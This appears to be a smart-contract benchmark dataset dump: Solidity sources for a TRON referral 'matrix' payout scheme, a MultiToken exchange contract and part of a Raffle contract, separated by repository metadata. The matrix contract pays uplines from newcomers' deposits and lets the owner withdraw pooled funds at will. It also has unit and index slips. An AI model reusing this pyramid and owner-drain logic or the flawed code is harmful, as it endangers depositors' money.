uint256 amount = 16000 trx;
user.referrer.transfer(amount);
users[user.referrer].DirectReward+=amount;
address payable upline = user.referrer;
for (uint256 i = 0; i < 10; i++) {
if (upline != address(0)) {
if(users[upline].referredUsers >= i+1){
upline.transfer(amount.div(10));
users[upline].LevelReward+=(amount.div(10));
}
upline = users[upline].referrer;
} else break;
}
CROWNMATRIX();
}
function Level10() public payable checklevel(9) {
require(msg.value == 320000 trx,"invalid amount");
require(users[msg.sender].isExist,"you need to register first");
UserStruct storage user = users[msg.sender];
users[msg.sender].LevelUser[10] = LevelUserStruct({
isExist: true,
id: user.registrationid,
payment_received: 0
});
uint256 amount = 32000 trx;
user.referrer.transfer(amount);
users[user.referrer].DirectReward+=amount;
address payable upline = user.referrer;
for (uint256 i = 0; i < 10; i++) {
if (upline != address(0)) {
if(users[upline].referredUsers >= i+1){
upline.transfer(amount.div(10));
users[upline].LevelReward+=(amount.div(10));
}
upline = users[upline].referrer;
} else break;
}
IMPERIALMATRIX();
}
function Level11() public payable checklevel(10) {
require(msg.value == 640000 trx,"invalid amount");
require(users[msg.sender].isExist,"you need to register first");
UserStruct storage user = users[msg.sender];
users[msg.sender].LevelUser[11] = LevelUserStruct({
isExist: true,
id: user.registrationid,
payment_received: 0
});
uint256 amount = 64000 trx;
user.referrer.transfer(amount);
users[user.referrer].DirectReward+=amount;
address payable upline = user.referrer;
for (uint256 i = 0; i < 10; i++) {
if (upline != address(0)) {
if(users[upline].referredUsers >= i+1){
upline.transfer(amount.div(10));
users[upline].LevelReward+=(amount.div(10));
}
upline = users[upline].referrer;
} else break;
}
AMBASSADORMATRIX();
}
function Level12() public payable checklevel(11) {
require(msg.value == 1280000 trx,"invalid amount");
require(users[msg.sender].isExist,"you need to register first");
UserStruct storage user = users[msg.sender];
users[msg.sender].LevelUser[12] = LevelUserStruct({
isExist: true,
id: user.registrationid,
payment_received: 0
});
uint256 amount = 128000 trx;
user.referrer.transfer(amount);
users[user.referrer].DirectReward+=amount;
address payable upline = user.referrer;
for (uint256 i = 0; i < 10; i++) {
if (upline != address(0)) {
if(users[upline].referredUsers >= i+1){
upline.transfer(amount.div(10));
users[upline].LevelReward+=(amount.div(10));
}
upline = users[upline].referrer;
} else break;
}
PRESIDENTMATRIX();
}
function GLOBALMATRIX() internal{
bool checke = true;
if(GlobalmatrixUserCount == 0)
{
owner.transfer(300 trx);
checke = false;
}
GlobalmatrixUserCount++;
GlobalmatrixcurrUserID++;
users[msg.sender].LevelUser[13] = LevelUserStruct({
isExist: true,
id: GlobalmatrixcurrUserID,
payment_received: 0
});
userList[13][GlobalmatrixcurrUserID]=msg.sender;
uint256 amount = 300 trx;
if(checke){
userList[13][GlobalmatrixactiveUserID].transfer(amount);
users[userList[13][GlobalmatrixactiveUserID]].MatrixReward+=amount;
totalwithdrawn+=amount;
users[userList[13][GlobalmatrixactiveUserID]].LevelUser[13].payment_received+=1;}
if(users[userList[13][GlobalmatrixactiveUserID]].LevelUser[13].payment_received==5){
users[userList[13][GlobalmatrixactiveUserID]].LevelUser[13].payment_received=0;
GlobalmatrixactiveUserID++;
GlobalmatrixUserCount--;
}
}
function SILVERMATRIX() internal{
bool checke = true;
if(SilvermatrixUserCount == 0)
{
owner.transfer(800 trx);
checke = false;
}
SilvermatrixUserCount++;
SilvermatrixcurrUserID++;
users[msg.sender].LevelUser[14] = LevelUserStruct({
isExist: true,
id: SilvermatrixcurrUserID,
payment_received: 0
});
userList[14][SilvermatrixcurrUserID]=msg.sender;
uint256 amount = 800 trx;
if(checke){
userList[14][SilvermatrixactiveUserID].transfer(amount);
users[userList[14][SilvermatrixactiveUserID]].MatrixReward+=amount;
totalwithdrawn+=amount;
users[userList[14][SilvermatrixactiveUserID]].LevelUser[14].payment_received+=1;}
if(users[userList[14][SilvermatrixactiveUserID]].LevelUser[14].payment_received==5){
users[userList[14][SilvermatrixactiveUserID]].LevelUser[14].payment_received=0;
SilvermatrixactiveUserID++;
SilvermatrixUserCount--;
}
}
function GOLDMATRIX() internal{
bool checke = true;
if(GoldmatrixUserCount == 0)
{
owner.transfer(2000 trx);
checke = false;
}
GoldmatrixUserCount++;
GoldmatrixcurrUserID++;
users[msg.sender].LevelUser[15] = LevelUserStruct({
isExist: true,
id: GoldmatrixcurrUserID,
payment_received: 0
});
userList[15][GoldmatrixcurrUserID]=msg.sender;
uint256 amount = 2000 trx;
if(checke){
userList[15][GoldmatrixactiveUserID].transfer(amount);
users[userList[15][GoldmatrixactiveUserID]].MatrixReward+=amount;
totalwithdrawn+=amount;
users[userList[15][GoldmatrixactiveUserID]].LevelUser[15].payment_received+=1;}
if(users[userList[15][GoldmatrixactiveUserID]].LevelUser[15].payment_received==5){
users[userList[15][GoldmatrixactiveUserID]].LevelUser[15].payment_received=0;
GoldmatrixactiveUserID++;
GoldmatrixUserCount--;
}
}
function TITANIUMMATRIX() internal{
bool checke = true;
if(TitaniummatrixUserCount == 0)
{
owner.transfer(4000 trx);
checke = false;
}
TitaniummatrixUserCount++;
TitaniummatrixcurrUserID++;
users[msg.sender].LevelUser[16] = LevelUserStruct({
isExist: true,
id: TitaniummatrixcurrUserID,
payment_received: 0
});
userList[16][TitaniummatrixcurrUserID]=msg.sender;
uint256 amount = 4000 trx;
if(checke){
userList[16][TitaniummatrixactiveUserID].transfer(amount);
users[userList[16][TitaniummatrixactiveUserID]].MatrixReward+=amount;
totalwithdrawn+=amount;
users[userList[16][TitaniummatrixactiveUserID]].LevelUser[16].payment_received+=1;}
if(users[userList[16][TitaniummatrixactiveUserID]].LevelUser[16].payment_received==5){
users[userList[16][TitaniummatrixactiveUserID]].LevelUser[16].payment_received=0;
TitaniummatrixactiveUserID++;
TitaniummatrixUserCount--;
}
}
function PLATINUMMATRIX() internal{
bool checke = true;
if(PlatinummatrixUserCount == 0)
{
owner.transfer(8000 trx);
checke = false;
}
PlatinummatrixUserCount++;
PlatinummatrixcurrUserID++;
users[msg.sender].LevelUser[8] = LevelUserStruct({
isExist: true,
id: PlatinummatrixcurrUserID,
payment_received: 0
});
userList[17][PlatinummatrixcurrUserID]=msg.sender;
uint256 amount = 8000 trx;
if(checke){
userList[17][PlatinummatrixactiveUserID].transfer(amount);
users[userList[17][PlatinummatrixactiveUserID]].MatrixReward+=amount;
totalwithdrawn+=amount;
users[userList[17][PlatinummatrixactiveUserID]].LevelUser[17].payment_received+=1;}
if(users[userList[17][PlatinummatrixactiveUserID]].LevelUser[17].payment_received==5){
users[userList[17][PlatinummatrixactiveUserID]].LevelUser[17].payment_received=0;
PlatinummatrixactiveUserID++;
PlatinummatrixUserCount--;
}
}
function EMERLDMATRIX() internal{
bool checke = true;
if(EmerldmatrixUserCount == 0)
{
owner.transfer(16000 trx);
checke = false;
}
EmerldmatrixUserCount++;
EmerldmatrixcurrUserID++;
users[msg.sender].LevelUser[18] = LevelUserStruct({
isExist: true,
id: EmerldmatrixcurrUserID,
payment_received: 0
});
userList[18][EmerldmatrixcurrUserID]=msg.sender;
uint256 amount = 16000 trx;
if(checke){
userList[18][EmerldmatrixactiveUserID].transfer(amount);
users[userList[18][EmerldmatrixactiveUserID]].MatrixReward+=amount;
totalwithdrawn+=amount;
users[userList[18][EmerldmatrixactiveUserID]].LevelUser[18].payment_received+=1;}
if(users[userList[18][EmerldmatrixactiveUserID]].LevelUser[18].payment_received==5){
users[userList[18][EmerldmatrixactiveUserID]].LevelUser[18].payment_received=0;
EmerldmatrixactiveUserID++;
EmerldmatrixUserCount--;
}
}
function DIAMONDMATRIX() internal{
bool checke = true;
if(DiamondmatrixUserCount == 0)
{
owner.transfer(32000 trx);
checke = false;
}
DiamondmatrixUserCount++;
DiamondmatrixcurrUserID++;
users[msg.sender].LevelUser[19] = LevelUserStruct({
isExist: true,
id: DiamondmatrixcurrUserID,
payment_received: 0
});
userList[19][DiamondmatrixcurrUserID]=msg.sender;
uint256 amount = 32000 trx;
if(checke){
userList[19][DiamondmatrixactiveUserID].transfer(amount);
users[userList[19][DiamondmatrixactiveUserID]].MatrixReward+=amount;
totalwithdrawn+=amount;
users[userList[19][DiamondmatrixactiveUserID]].LevelUser[19].payment_received+=1;}
if(users[userList[19][DiamondmatrixactiveUserID]].LevelUser[19].payment_received==5){
users[userList[19][DiamondmatrixactiveUserID]].LevelUser[19].payment_received=0;
DiamondmatrixactiveUserID++;
DiamondmatrixUserCount--;
}
}
function RUBYMATRIX() internal{
bool checke = true;
if(RubymatrixUserCount == 0)
{
owner.transfer(64000 trx);
checke = false;
}
RubymatrixUserCount++;
RubymatrixcurrUserID++;
users[msg.sender].LevelUser[20] = LevelUserStruct({
isExist: true,
id: RubymatrixcurrUserID,
payment_received: 0
});
userList[20][RubymatrixcurrUserID]=msg.sender;
uint256 amount = 64000 trx;
if(checke){
userList[20][RubymatrixactiveUserID].transfer(amount);
users[userList[20][RubymatrixactiveUserID]].MatrixReward+=amount;
totalwithdrawn+=amount;
users[userList[20][RubymatrixactiveUserID]].LevelUser[20].payment_received+=1;}
if(users[userList[20][RubymatrixactiveUserID]].LevelUser[20].payment_received==5){
users[userList[20][RubymatrixactiveUserID]].LevelUser[20].payment_received=0;
RubymatrixactiveUserID++;
RubymatrixUserCount--;
}
}
function CROWNMATRIX() internal{
bool checke = true;
if(CrownmatrixUserCount == 0)
{
owner.transfer(128000);
checke = false;
}
CrownmatrixUserCount++;
CrownmatrixcurrUserID++;
users[msg.sender].LevelUser[21] = LevelUserStruct({
isExist: true,
id: CrownmatrixcurrUserID,
payment_received: 0
});
userList[21][CrownmatrixcurrUserID]=msg.sender;
uint256 amount = 128000 trx;
if(checke){
userList[21][CrownmatrixactiveUserID].transfer(amount);
users[userList[21][CrownmatrixactiveUserID]].MatrixReward+=amount;
totalwithdrawn+=amount;
users[userList[21][CrownmatrixactiveUserID]].LevelUser[21].payment_received+=1;}
if(users[userList[21][CrownmatrixactiveUserID]].LevelUser[21].payment_received==5){
users[userList[21][CrownmatrixactiveUserID]].LevelUser[21].payment_received=0;
CrownmatrixactiveUserID++;
CrownmatrixUserCount--;
}
}
function IMPERIALMATRIX() internal{
bool checke = true;
if(ImperialmatrixUserCount == 0)
{
owner.transfer(256000 trx);
checke = false;
}
ImperialmatrixUserCount++;
ImperialmatrixcurrUserID++;
users[msg.sender].LevelUser[22] = LevelUserStruct({
isExist: true,
id: ImperialmatrixcurrUserID,
payment_received: 0
});
userList[22][ImperialmatrixcurrUserID]=msg.sender;
uint256 amount = 256000 trx;
if(checke){
userList[22][ImperialmatrixactiveUserID].transfer(amount);
users[userList[22][ImperialmatrixactiveUserID]].MatrixReward+=amount;
totalwithdrawn+=amount;
users[userList[22][ImperialmatrixactiveUserID]].LevelUser[22].payment_received+=1;}
if(users[userList[22][ImperialmatrixactiveUserID]].LevelUser[22].payment_received==5){
users[userList[22][ImperialmatrixactiveUserID]].LevelUser[22].payment_received=0;
ImperialmatrixactiveUserID++;
ImperialmatrixUserCount--;
}
}
function AMBASSADORMATRIX() internal{
bool checke = true;
if(AmbassadormatrixUserCount == 0)
{
owner.transfer(512000 trx);
checke = false;
}
AmbassadormatrixUserCount++;
AmbassadormatrixcurrUserID++;
users[msg.sender].LevelUser[23] = LevelUserStruct({
isExist: true,
id: AmbassadormatrixcurrUserID,
payment_received: 0
});
userList[23][AmbassadormatrixcurrUserID]=msg.sender;
uint256 amount = 512000 trx;
if(checke){
userList[23][AmbassadormatrixactiveUserID].transfer(amount);
users[userList[23][AmbassadormatrixactiveUserID]].MatrixReward+=amount;
totalwithdrawn+=amount;
users[userList[23][AmbassadormatrixactiveUserID]].LevelUser[23].payment_received+=1;}
if(users[userList[23][AmbassadormatrixactiveUserID]].LevelUser[23].payment_received==5){
users[userList[23][AmbassadormatrixactiveUserID]].LevelUser[23].payment_received=0;
AmbassadormatrixactiveUserID++;
AmbassadormatrixUserCount--;
}
}
function PRESIDENTMATRIX() internal{
bool checke = true;
if(PresidentmatrixUserCount == 0)
{
owner.transfer(1024000 trx);
checke = false;
}
PresidentmatrixUserCount++;
PresidentmatrixcurrUserID++;
users[msg.sender].LevelUser[24] = LevelUserStruct({
isExist: true,
id: PresidentmatrixcurrUserID,
payment_received: 0
});
userList[24][PresidentmatrixcurrUserID]=msg.sender;
uint256 amount = 1024000 trx;
if(checke){
userList[24][PresidentmatrixactiveUserID].transfer(amount);
users[userList[24][PresidentmatrixactiveUserID]].MatrixReward+=amount;
totalwithdrawn+=amount;
users[userList[24][PresidentmatrixactiveUserID]].LevelUser[24].payment_received+=1;}
if(users[userList[24][PresidentmatrixactiveUserID]].LevelUser[24].payment_received==5){
users[userList[24][PresidentmatrixactiveUserID]].LevelUser[24].payment_received=0;
PresidentmatrixactiveUserID++;
PresidentmatrixUserCount--;
}
}
function get(uint256 amount) public returns(bool)
{
require(msg.sender == owner,"Access Denied");
owner.transfer(amount.mul(1e6));
return true;
}
function getUserDownlineCount(address userAddress) public view returns (uint256[20] memory arr) {
for(uint256 i = 0 ; i<20;i++){
arr[i] = levels[userAddress][i] ;
}
return arr;
}
function getdirects(address ad) public view returns(address[] memory arr){
return users[ad].directs;
}
function getuserid(address userAddress) public view returns(uint256){
return users[userAddress].registrationid;
}
function getStationInfo(address _userAddress,uint256 _Level_No)public view returns(bool,uint256,uint256){
return (users[_userAddress].LevelUser[_Level_No].isExist,users[_userAddress].LevelUser[_Level_No].id,
users[_userAddress].LevelUser[_Level_No].payment_received);
}
function getTrxBalance() public view returns(uint) {
return address(this).balance;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
| 291,066 | 12,023 |
4cfc1dee7cd98643ecaf51b1f3df322dd2a8bc2529740d52e7d7e117bb1ab094
| 11,548 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xb119791b3694fd4c851bdbf26a01b3ccc81aa670.sol
| 3,192 | 11,227 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from,
address _to,
uint256 _value)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner,
address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(address _spender,
uint _addedValue)
public
returns (bool)
{
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender,
uint _subtractedValue)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BasicMultiToken is StandardToken, DetailedERC20 {
ERC20[] public tokens;
event Mint(address indexed minter, uint256 value);
event Burn(address indexed burner, uint256 value);
constructor() public DetailedERC20("", "", 0) {
}
function init(ERC20[] _tokens, string _name, string _symbol, uint8 _decimals) public {
require(decimals == 0, "init: contract was already initialized");
require(_decimals > 0, "init: _decimals should not be zero");
require(bytes(_name).length > 0, "init: _name should not be empty");
require(bytes(_symbol).length > 0, "init: _symbol should not be empty");
require(_tokens.length >= 2, "Contract do not support less than 2 inner tokens");
name = _name;
symbol = _symbol;
decimals = _decimals;
tokens = _tokens;
}
function mintFirstTokens(address _to, uint256 _amount, uint256[] _tokenAmounts) public {
require(totalSupply_ == 0, "This method can be used with zero total supply only");
_mint(_to, _amount, _tokenAmounts);
}
function mint(address _to, uint256 _amount) public {
require(totalSupply_ != 0, "This method can be used with non zero total supply only");
uint256[] memory tokenAmounts = new uint256[](tokens.length);
for (uint i = 0; i < tokens.length; i++) {
tokenAmounts[i] = tokens[i].balanceOf(this).mul(_amount).div(totalSupply_);
}
_mint(_to, _amount, tokenAmounts);
}
function burn(uint256 _value) public {
burnSome(_value, tokens);
}
function burnSome(uint256 _value, ERC20[] someTokens) public {
require(someTokens.length > 0, "Array of tokens can't be empty");
uint256 totalSupply = totalSupply_;
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply_ = totalSupply.sub(_value);
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, address(0), _value);
for (uint i = 0; i < someTokens.length; i++) {
uint256 prevBalance = someTokens[i].balanceOf(this);
uint256 tokenAmount = prevBalance.mul(_value).div(totalSupply);
someTokens[i].transfer(msg.sender, tokenAmount);
require(someTokens[i].balanceOf(this) == prevBalance.sub(tokenAmount), "Invalid token behavior");
}
}
function _mint(address _to, uint256 _amount, uint256[] _tokenAmounts) internal {
require(tokens.length == _tokenAmounts.length, "Lenghts of tokens and _tokenAmounts array should be equal");
for (uint i = 0; i < tokens.length; i++) {
uint256 prevBalance = tokens[i].balanceOf(this);
tokens[i].transferFrom(msg.sender, this, _tokenAmounts[i]);
require(tokens[i].balanceOf(this) == prevBalance.add(_tokenAmounts[i]), "Invalid token behavior");
}
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
}
}
interface ERC228 {
function changeableTokenCount() external view returns (uint16 count);
function changeableToken(uint16 _tokenIndex) external view returns (address tokenAddress);
function getReturn(address _fromToken, address _toToken, uint256 _amount) external view returns (uint256 returnAmount);
function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) external returns (uint256 returnAmount);
event Update();
event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return);
}
contract MultiToken is BasicMultiToken, ERC228 {
mapping(address => uint256) public weights;
function init(ERC20[] _tokens, uint256[] _weights, string _name, string _symbol, uint8 _decimals) public {
super.init(_tokens, _name, _symbol, _decimals);
require(_weights.length == tokens.length, "Lenghts of _tokens and _weights array should be equal");
for (uint i = 0; i < tokens.length; i++) {
require(_weights[i] != 0, "The _weights array should not contains zeros");
require(weights[tokens[i]] == 0, "The _tokens array have duplicates");
weights[tokens[i]] = _weights[i];
}
}
function init2(ERC20[] _tokens, uint256[] _weights, string _name, string _symbol, uint8 _decimals) public {
init(_tokens, _weights, _name, _symbol, _decimals);
}
function changeableTokenCount() public view returns (uint16 count) {
count = uint16(tokens.length);
}
function changeableToken(uint16 _tokenIndex) public view returns (address tokenAddress) {
tokenAddress = tokens[_tokenIndex];
}
function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns(uint256 returnAmount) {
if (weights[_fromToken] > 0 && weights[_toToken] > 0 && _fromToken != _toToken) {
uint256 fromBalance = ERC20(_fromToken).balanceOf(this);
uint256 toBalance = ERC20(_toToken).balanceOf(this);
returnAmount = toBalance.mul(_amount).mul(weights[_fromToken]).div(weights[_toToken]).div(fromBalance.add(_amount));
}
}
function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns(uint256 returnAmount) {
returnAmount = getReturn(_fromToken, _toToken, _amount);
require(returnAmount > 0, "The return amount is zero");
require(returnAmount >= _minReturn, "The return amount is less than _minReturn value");
uint256 fromBalance = ERC20(_fromToken).balanceOf(this);
ERC20(_fromToken).transferFrom(msg.sender, this, _amount);
require(ERC20(_fromToken).balanceOf(this) == fromBalance + _amount);
uint256 toBalance = ERC20(_toToken).balanceOf(this);
ERC20(_toToken).transfer(msg.sender, returnAmount);
require(ERC20(_toToken).balanceOf(this) == toBalance - returnAmount);
emit Change(_fromToken, _toToken, msg.sender, _amount, returnAmount);
}
function changeOverERC228(address _fromToken, address _toToken, uint256 _amount, address exchange) public returns(uint256 returnAmount) {
returnAmount = getReturn(_fromToken, _toToken, _amount);
require(returnAmount > 0, "The return amount is zero");
uint256 fromBalance = ERC20(_fromToken).balanceOf(this);
ERC20(_toToken).approve(exchange, returnAmount);
ERC228(exchange).change(_toToken, _fromToken, returnAmount, _amount);
uint256 realReturnAmount = ERC20(_fromToken).balanceOf(this).sub(fromBalance);
require(realReturnAmount >= _amount);
if (realReturnAmount > _amount) {
uint256 reward = realReturnAmount.sub(_amount);
ERC20(_fromToken).transfer(msg.sender, reward);
require(ERC20(_fromToken).balanceOf(this) == fromBalance.add(_amount));
}
emit Change(_fromToken, _toToken, msg.sender, _amount, returnAmount);
}
}
interface IDeployer {
function deploy(bytes data) external returns(address mtkn);
}
contract MultiTokenDeployer is IDeployer {
function deploy(bytes data) external returns(address mtkn) {
require((data[0] == 0x6f && data[1] == 0x5f && data[2] == 0x53 && data[3] == 0x5d) ||
(data[0] == 0x18 && data[1] == 0x2a && data[2] == 0x54 && data[3] == 0x15));
mtkn = new MultiToken();
require(mtkn.call(data));
}
}
| 164,032 | 12,024 |
e20072417092bb1876d12c7e14e7694a195eb5a183984e30586967fbb700f9d8
| 29,389 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/4b/4BF01e105697dF8ee8D62FB83Adf1708C418a8B5_Raffle.sol
| 3,462 | 13,179 |
// Sources flattened with hardhat v2.6.7 https://hardhat.org
// File @openzeppelin/contracts/utils/introspection/[emailprotected]
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File @openzeppelin/contracts/token/ERC721/[emailprotected]
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from,
address to,
uint256 tokenId) external;
function transferFrom(address from,
address to,
uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from,
address to,
uint256 tokenId,
bytes calldata data) external;
}
// File @openzeppelin/contracts/token/ERC20/[emailprotected]
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File @openzeppelin/contracts/token/ERC721/[emailprotected]
interface IERC721Receiver {
function onERC721Received(address operator,
address from,
uint256 tokenId,
bytes calldata data) external returns (bytes4);
}
// File @openzeppelin/contracts/utils/[emailprotected]
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File @openzeppelin/contracts/access/[emailprotected]
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File @openzeppelin/contracts/utils/math/[emailprotected]
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File contracts/PrizeManager.sol
abstract contract PrizeManager is Ownable {
event PrizeAdded(uint place, PrizeType prizeType, address tokenContract, uint tokenIdOrValue);
event PrizeRemoved(uint place);
enum PrizeType{ NATIVE_CURRENCY, ERC20, ERC721 }
struct Prize {
PrizeType prizeType; // is the prize the native currency
uint tokenIdOrValue; // tokenId if ERC721, value if ERC20 or isNativeCurrency
address tokenContract; // could be ERC721 or ERC20. Use zero address if none
}
mapping(uint => mapping(uint => Prize)) public prizes;
mapping(uint => uint) public numberOfPrizesPerPlace;
function getPrizeAtIndexForPlace(uint place, uint index) public view returns (Prize memory) {
require(index < numberOfPrizesPerPlace[place], "There aren't that many prizes for the provided place");
return prizes[place][index];
}
function addPrizeForPlace(uint place, PrizeType prizeType, uint tokenIdOrValue, address tokenContract) public virtual onlyOwner {
uint index = numberOfPrizesPerPlace[place];
prizes[place][index] = Prize(prizeType, tokenIdOrValue, tokenContract);
numberOfPrizesPerPlace[place]++;
emit PrizeAdded(place, prizeType, tokenContract, tokenIdOrValue);
}
function removePrizeAtIndexForPlace(uint place, uint index) public virtual onlyOwner {
uint lastIndex = numberOfPrizesPerPlace[place] - 1;
if (index != lastIndex) {
Prize memory lastPrize = prizes[place][lastIndex];
prizes[place][index] = lastPrize;
}
delete prizes[place][lastIndex];
numberOfPrizesPerPlace[place]--;
emit PrizeRemoved(place);
}
}
// File contracts/Ticketable.sol
abstract contract Ticketable is Ownable {
uint public maxTickets = 0;
uint public ticketsIssued = 0;
mapping(uint => address) public ticketHolders;
mapping(address => uint[]) public ticketsHeld;
function issueTickets(address ticketHolder, uint numberOfTickets) internal {
require(maxTickets == 0 || ticketsIssued + numberOfTickets <= maxTickets, "Cannot issue this many tickets under current max supply");
for (uint i = ticketsIssued; i < ticketsIssued + numberOfTickets; i++) {
ticketHolders[i] = ticketHolder;
ticketsHeld[ticketHolder].push(i);
}
